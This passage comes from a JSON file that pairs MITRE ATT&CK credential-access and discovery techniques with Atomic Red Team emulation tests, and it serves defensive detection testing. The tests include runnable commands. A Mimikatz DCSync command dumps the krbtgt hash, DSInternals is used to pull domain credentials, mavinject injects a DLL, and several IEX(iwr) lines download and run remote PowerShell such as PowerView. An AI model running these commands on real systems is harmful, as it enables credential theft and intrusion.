- "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
- "source_name": "GitHub Mimikatz lsadump Module"
- },
- {
- "url": "https://msdn.microsoft.com/library/cc237008.aspx",
- "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
- "source_name": "Microsoft NRPC Dec 2017"
- },
- {
- "url": "https://msdn.microsoft.com/library/cc245496.aspx",
- "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
- "source_name": "Microsoft SAMR"
- },
- {
- "url": "https://adsecurity.org/?p=1729",
- "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
- "source_name": "AdSecurity DCSync Sept 2015"
- },
- {
- "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
- "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
- "source_name": "Harmj0y DCSync Sept 2015"
- }
- ],
- "modified": "2021-04-22T20:20:14.595Z",
- "name": "OS Credential Dumping: DCSync",
- "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Access",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1003.006"
- },
- "atomic_tests": [
- {
- "name": "DCSync (Active Directory)",
- "auto_generated_guid": "129efd28-8497-4c87-a1b0-73b9a870ca3e",
- "description": "Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.\nWorks against a remote Windows Domain Controller using the replication protocol.\nPrivileges required: domain admin or domain controller account (by default), or any other account with required rights.\n[Reference](https://adsecurity.org/?p=1729)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "Targeted Active Directory domain",
- "type": "string",
- "default": "%userdnsdomain%"
- },
- "user": {
- "description": "Targeted user",
- "type": "string",
- "default": "krbtgt"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "#{mimikatz_path} \"lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}\" \"exit\"\n"
- }
- },
- {
- "name": "Run DSInternals Get-ADReplAccount",
- "auto_generated_guid": "a0bced08-3fc5-4d8b-93b7-e8344739376e",
- "description": "The following Atomic will run Get-ADReplAccount from DSInternals.\nUpon successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellerParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "logonserver": {
- "description": "ComputerName argument default %logonserver%",
- "type": "string",
- "default": "$ENV:logonserver.TrimStart(\"\\\")"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DSInternals must be installed\n",
- "prereq_command": "$RequiredModule = Get-Module -Name DSInternals -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0}\n",
- "get_prereq_command": "Install-Module -Name DSInternals -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Get-ADReplAccount -All -Server #{logonserver}\n",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1556": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Chris Ross @xorrior"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
- "type": "attack-pattern",
- "created": "2020-02-11T19:01:56.887Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556",
- "url": "https://attack.mitre.org/techniques/T1556"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- },
- {
- "source_name": "Dell Skeleton",
- "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
- "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
- },
- {
- "source_name": "Xorrior Authorization Plugins",
- "url": "https://xorrior.com/persistent-credential-theft/",
- "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021."
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- },
- {
- "source_name": "dump_pwd_dcsync",
- "url": "https://adsecurity.org/?p=2053",
- "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."
- }
- ],
- "modified": "2022-02-10T22:26:33.374Z",
- "name": "Modify Authentication Process",
- "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages
) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess
that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/
) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption
configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true
, Set-ADUser
and Set-ADAccountControl
. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Logon Session: Logon Session Creation",
- "File: File Creation",
- "Process: OS API Execution",
- "Process: Process Access",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load"
- ]
- },
- "atomic_tests": []
- },
- "T1056.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
- "type": "attack-pattern",
- "created": "2020-02-11T19:01:15.930Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.004",
- "url": "https://attack.mitre.org/techniques/T1056/004"
- },
- {
- "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
- "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
- "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
- "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
- "source_name": "Microsoft Hook Overview"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
- "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
- "source_name": "Adlice Software IAT Hooks Oct 2014"
- },
- {
- "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
- "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
- "source_name": "MWRInfoSecurity Dynamic Hooking 2015"
- },
- {
- "url": "https://www.exploit-db.com/docs/17802.pdf",
- "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
- "source_name": "HighTech Bridge Inline Hooking Sept 2011"
- },
- {
- "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
- "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
- "source_name": "Volatility Detecting Hooks Sept 2012"
- },
- {
- "url": "https://github.com/prekageo/winhook",
- "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
- "source_name": "PreKageo Winhook Jul 2011"
- },
- {
- "url": "https://github.com/jay/gethooks",
- "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
- "source_name": "Jay GetHooks Sept 2011"
- },
- {
- "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
- "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
- "source_name": "Zairon Hooking Dec 2006"
- },
- {
- "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
- "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
- "source_name": "EyeofRa Detecting Hooking June 2017"
- },
- {
- "url": "http://www.gmer.net/",
- "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
- "source_name": "GMER Rootkits"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
- "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
- "source_name": "Microsoft Process Snapshot"
- },
- {
- "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis",
- "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
- "source_name": "StackExchange Hooks Jul 2012"
- }
- ],
- "modified": "2020-11-10T18:29:31.138Z",
- "name": "Input Capture: Credential API Hooking",
- "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Metadata",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1056.004"
- },
- "atomic_tests": [
- {
- "name": "Hook PowerShell TLS Encrypt/Decrypt Messages",
- "auto_generated_guid": "de1934ea-1fbf-425b-8795-65fb27dd7e33",
- "description": "Hooks functions in PowerShell to read TLS Communications\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "Dll To Inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll"
- },
- "server_name": {
- "description": "TLS Server To Test Get Request",
- "type": "url",
- "default": "https://www.example.com"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "T1056.004x64.dll must exist on disk at specified location (#{file_name})\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll\" -OutFile \"#{file_name}\" -UseBasicParsing\n"
- }
- ],
- "executor": {
- "command": "mavinject $pid /INJECTRUNNING #{file_name}\nInvoke-WebRequest #{server_name} -UseBasicParsing\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1552.007": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Center for Threat-Informed Defense (CTID)",
- "Jay Chen, Palo Alto Networks",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436",
- "type": "attack-pattern",
- "created": "2021-03-31T14:01:52.321Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.007",
- "url": "https://attack.mitre.org/techniques/T1552/007"
- },
- {
- "source_name": "Docker API",
- "url": "https://docs.docker.com/engine/api/v1.41/",
- "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021."
- },
- {
- "source_name": "Kubernetes API",
- "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
- "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."
- },
- {
- "source_name": "Unit 42 Unsecured Docker Daemons",
- "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/",
- "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."
- }
- ],
- "modified": "2022-04-01T13:11:10.849Z",
- "name": "Kubernetes List Secrets",
- "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "User Account: User Account Authentication",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1552.007"
- },
- "atomic_tests": []
- },
- "T1556.004": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
- "type": "attack-pattern",
- "created": "2020-10-19T17:58:04.155Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.004",
- "url": "https://attack.mitre.org/techniques/T1556/004"
- },
- {
- "source_name": "Mandiant - Synful Knock",
- "url": "https://www.mandiant.com/resources/synful-knock-acis",
- "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- }
- ],
- "modified": "2021-12-14T23:14:26.107Z",
- "name": "Network Device Authentication",
- "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- }
- }
- },
- {
- "category": "discovery",
- "data": {
- "T1033": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
- "created": "2017-05-31T21:30:35.733Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1033",
- "url": "https://attack.mitre.org/techniques/T1033"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/577.html",
- "source_name": "capec",
- "external_id": "CAPEC-577"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami
. In macOS and Linux, the currently logged in user can be identified with w
and who
. On macOS the dscl . list /Users | grep -v '_'
command can also be used to enumerate user accounts. Environment variables, such as %USERNAME%
and $USER
, may also be used to access this information.",
- "modified": "2022-04-20T19:04:03.271Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "System Owner/User Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Windows Registry: Windows Registry Key Access",
- "Command: Command Execution",
- "File: File Access",
- "Process: Process Creation",
- "Active Directory: Active Directory Object Access",
- "Network Traffic: Network Traffic Flow",
- "Process: OS API Execution",
- "Process: Process Access"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1033"
- },
- "atomic_tests": [
- {
- "name": "System Owner/User Discovery",
- "auto_generated_guid": "4c4959bf-addf-4b4a-be86-8d09cc1857aa",
- "description": "Identify System owner or users on an endpoint.\n\nUpon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. \nAdditionally, two files will be written to disk - computers.txt and usernames.txt.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "computer_name": {
- "description": "Name of remote computer",
- "type": "string",
- "default": "localhost"
- }
- },
- "executor": {
- "command": "cmd.exe /C whoami\nwmic useraccount get /ALL\nquser /SERVER:\"#{computer_name}\"\nquser\nqwinsta.exe /server:#{computer_name}\nqwinsta.exe\nfor /F \"tokens=1,2\" %i in ('qwinsta /server:#{computer_name} ^| findstr \"Active Disc\"') do @echo %i | find /v \"#\" | find /v \"console\" || echo %j > computers.txt\n@FOR /F %n in (computers.txt) DO @FOR /F \"tokens=1,2\" %i in ('qwinsta /server:%n ^| findstr \"Active Disc\"') do @echo %i | find /v \"#\" | find /v \"console\" || echo %j > usernames.txt\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Find computers where user has session - Stealth mode (PowerView)",
- "auto_generated_guid": "29857f27-a36f-4f7e-8084-4557cd6207ca",
- "description": "Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose\n",
- "name": "powershell"
- }
- },
- {
